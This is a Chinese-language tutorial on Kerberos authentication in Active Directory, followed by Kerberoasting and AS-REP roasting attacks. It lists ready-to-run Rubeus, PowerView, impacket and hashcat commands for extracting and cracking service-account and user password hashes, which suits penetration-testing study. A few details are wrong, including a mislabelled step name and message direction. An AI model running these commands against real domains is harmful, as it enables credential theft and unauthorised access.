Kerberos的利用
Kerberos 身份验证
Kerberos 是 Active Directory 中一个非常有趣的话题,因为许多滥用和利用都是基于 Kerberos。从 Windows Server 2003 开始,Kerberos 充当身份验证的主要角色。 NTLM 身份验证采用质询和响应机制,而 Kerberos 是基于票证系统的。
让我们熟悉一些角色并记住它们!
客户端:登录其工作站的最终用户。
KDC:域中的域控制器,它由身份验证服务器(AS)和票证授予服务器(TGS)组成。为简单起见,我们将它们都视为 KDC。
服务/资源:最终用户认证后想要访问的服务或资源,如MSSQL实例、CIFS、IIS Web Server等。
第 1 步:按要求
方向:客户端-> KDC
行动:请求 TGT(票证授予票证)
提供:使用用户的哈希加密的时间戳,而哈希是由用户的帐户和密码生成的。
详细信息:当最终用户登录时,AS-REQ 请求将被发送到 KDC (AS)。
第 2 步:AS-REP
方向:KDC->客户端
行动:返回 TGT
提供:由用户密码哈希加密的会话密钥。其中包含用户信息、域、时间戳、会话密钥、客户端IP地址等多种信息的TGT。
详情:KDC(AS)解密时间戳,认证成功。 AS-REP 返回给客户端。
备注:TGT 默认有效期为 10 小时,使用 krbtgt 的哈希加密。
第 3 步:TGS-REQ
方向:客户端-> KDC
行动:请求 TGS 票证(票证授予服务票证)
提供:客户端用户名、服务的 SPN、TGT 以及使用会话密钥加密的时间戳。
详细说明:当客户端访问MSSQL实例、CIFS、IIS Web服务器等域服务时,TGS-REQ会被发送到KDC(TGS)。
第 4 步:TGS-REP
方向:客户端-> KDC
行动:退回 TGS 票
提供:加密的目标 SPN,以及在步骤 2 中使用先前会话密钥的客户端和服务之间的会话密钥。加密的 TGS 票证,其中包含带有服务密码哈希的用户信息
详细信息:KDC 验证目标 SPN、客户端的 TGT、用户信息等是否有效。然后 KDC (TGS) 返回 TGS-REP。
第 5 步:AP-REQ
方向:客户->服务
行动:请求服务访问
提供:客户端用户名,使用客户端和服务之间的会话密钥加密的时间戳,使用服务的密码哈希加密的 TGS 票证。
详细信息:客户端向服务服务器发送 AP-REQ。
第 6 步:AQ-REP
方向:服务-> 客户
行动:向客户端授予服务访问权限
提供:无
详细信息:服务服务器解密 TGS 票证,并检索会话密钥以解密客户端用户名。如果有效,则服务服务器检查客户端是否有足够的权限。例如,用户 Alice 是组“Server Admin”的成员,而组“Server Admin”对服务器 SRV1 具有本地管理员权限。如果是,则授予访问权限。
下图详细解释每一步
简化流程
Kerberos 身份验证实际上很复杂,您仍然感到困惑吗? 没关系,在大多数情况下,我们不需要记住每一步的每一个细节。 我们可以简化流程让我们理解,我们假设每一步都顺利,例如没有错误的凭证,没有网络攻击等。
客户端认证
第 1 步:客户端向 KDC (AS) 请求 TGT
第 2 步:KDC (AS) 将 TGT 返回给客户端。
客户授权
第 3 步:客户端向 KDC (TGS) 请求 TGS 票证
第 4 步:KDC (TGS) 将 TGS 票证返回给客户端
访问请求
第五步:客户端请求访问服务服务器
第6步:只要客户端有权限,就授予访问权限
经典 Kerberos 利用
Kerberoasting 攻击
如果服务在域用户帐户的上下文下在域计算机上运行,则它是服务帐户,并且应该设置 SPN。 SPN 是服务实例的唯一标识符。 krbtgt 总是设置了 SPN,但它是不可利用的。
根据前面提到的 Kerberos 身份验证流程,我们可以发现服务帐户的密码哈希用于加密 TGS 票证。 因此,Kerberoasting 是一种通过为目标服务帐户请求 TGS 票证来检索 krb5tgs 哈希的技术。 之后就可以离线破解krb5tgs hash,希望能得到明文密码。
提供:加密的目标 SPN,以及在步骤 2 中使用先前会话密钥的客户端和服务之间的会话密钥。加密的 TGS 票证,其中包含带有服务密码哈希的用户信息
攻击
在 Windows 上
搜索:
获取-NetUser -SPN (PowerView.ps1)
开发:
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap
在 Linux 上
开发:
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password] (impacket)
破解哈希:
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt
ASREPRoasting 攻击
如果域用户不需要 Kerberos 预身份验证,我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。
攻击
在 Windows 上
搜索:
获取-NetUser -PreAuthNotRequired (PowerView.ps1)
开发:
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap
在 Linux 上
开发:
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn] -userfile [user list] -format hashcat (impacket)
破解哈希:
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt